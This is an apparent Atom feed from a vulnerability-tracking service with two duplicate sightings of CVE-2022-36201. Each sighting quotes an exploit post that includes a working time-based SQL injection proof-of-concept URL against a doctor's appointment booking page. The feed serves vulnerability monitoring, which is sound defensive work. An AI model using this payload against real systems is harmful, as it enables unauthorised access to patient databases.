<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
  <id>https://vulnerability.circl.lu/sightings/feed</id>
  <title>Most recent sightings.</title>
  <updated>2026-09-03T14:47:02.018663+00:00</updated>
  <author>
    <name>Vulnerability-Lookup</name>
    <email>info@circl.lu</email>
  </author>
  <link href="https://vulnerability.circl.lu" rel="alternate"/>
  <generator uri="https://lkiesow.github.io/python-feedgen" version="1.0.0">python-feedgen</generator>
  <subtitle>Contains only the most 10 recent sightings.</subtitle>
  <entry>
    <id>https://vulnerability.circl.lu/sighting/5d4d730c-1295-45e4-9b52-9983bb0afba7/export</id>
    <title>5d4d730c-1295-45e4-9b52-9983bb0afba7</title>
    <updated>2026-09-03T14:47:02.106020+00:00</updated>
    <author>
      <name>Automation user</name>
      <uri>https://vulnerability.circl.lu/user/automation</uri>
    </author>
    <content>{"uuid": "5d4d730c-1295-45e4-9b52-9983bb0afba7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-36201", "type": "seen", "source": "https://t.me/hacking_Attack/67591", "content": "Exploit Collector\nDoctor's Appointment System 1.0 SQL Injection\n\nhttps://3.bp.blogspot.com/-UEPmQpzFyCs/WWlvQSuTgiI/AAAAAAAAINA/LFaHvgtClFA67K--PZO5ZJSS69Dsl8UBACLcBGAs/s1600/h31.png \nDoctor's Appointment System version 1.0 suffers from a remote SQL injection vulnerability. Original discovery of SQL injection in this version is attributed to Soham Bakore and Nakul Ratti in February of 2021.\n\nSHA-256 | bba8e606cf86fb9a7af0f1c090bad1896d40e1260de7bcb58ab348d6a559cec4\n\nDownload\n# Exploit Title: SQLi - Doctor's Appointment System v1.0\n# Google Dork: N/A\n# Date: 7/13/2022\n# Exploit Author: Abdullah Zaid - @_aznull\n# Vendor Homepage:\nhttps://www.sourcecodester.com/hashenudara/simple-doctors-appointment-project.html\n# Software Link:\nhttps://www.sourcecodester.com/sites/default/files/download/hshnudr/edoc-doctor-appointment-system-main_1.zip\n# Version: 1.0\n# Tested on: Linux\n# CVE : CVE-2022-36201\nPOC:\n\nhttp://localhost/edoc/patient/booking.php?id=1%20AND%20(SELECT%203436%20FROM%20(SELECT(SLEEP(10)))dZls)\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-02T01:01:39.709448Z"}</content>
    <link href="https://vulnerability.circl.lu/sighting/5d4d730c-1295-45e4-9b52-9983bb0afba7/export"/>
    <published>2026-09-02T01:01:39.709448+00:00</published>
  </entry>
  <entry>
    <id>https://vulnerability.circl.lu/sighting/bfa0cb9b-f7b2-4052-8bec-141ef11adafd/export</id>
    <title>bfa0cb9b-f7b2-4052-8bec-141ef11adafd</title>
    <updated>2026-09-03T14:47:02.113538+00:00</updated>
    <author>
      <name>Automation user</name>
      <uri>https://vulnerability.circl.lu/user/automation</uri>
    </author>
    <content>{"uuid": "bfa0cb9b-f7b2-4052-8bec-141ef11adafd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-36201", "type": "seen", "source": "https://t.me/hacking_Attack/67591", "content": "Exploit Collector\nDoctor's Appointment System 1.0 SQL Injection\n\nhttps://3.bp.blogspot.com/-UEPmQpzFyCs/WWlvQSuTgiI/AAAAAAAAINA/LFaHvgtClFA67K--PZO5ZJSS69Dsl8UBACLcBGAs/s1600/h31.png \nDoctor's Appointment System version 1.0 suffers from a remote SQL injection vulnerability. Original discovery of SQL injection in this version is attributed to Soham Bakore and Nakul Ratti in February of 2021.\n\nSHA-256 | bba8e606cf86fb9a7af0f1c090bad1896d40e1260de7bcb58ab348d6a559cec4\n\nDownload\n# Exploit Title: SQLi - Doctor's Appointment System v1.0\n# Google Dork: N/A\n# Date: 7/13/2022\n# Exploit Author: Abdullah Zaid - @_aznull\n# Vendor Homepage:\nhttps://www.sourcecodester.com/hashenudara/simple-doctors-appointment-project.html\n# Software Link:\nhttps://www.sourcecodester.com/sites/default/files/download/hshnudr/edoc-doctor-appointment-system-main_1.zip\n# Version: 1.0\n# Tested on: Linux\n# CVE : CVE-2022-36201\nPOC:\n\nhttp://localhost/edoc/patient/booking.php?id=1%20AND%20(SELECT%203436%20FROM%20(SELECT(SLEEP(10)))dZls)\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-01T20:01:25.436864Z"}</content>
    <link href="https://vulnerability.circl.lu/sighting/bfa0cb9b-f7b2-4052-8bec-141ef11adafd/export"/>
    <published>2026-09-01T20:01:25.436864+00:00</published>
  </entry>
</feed>
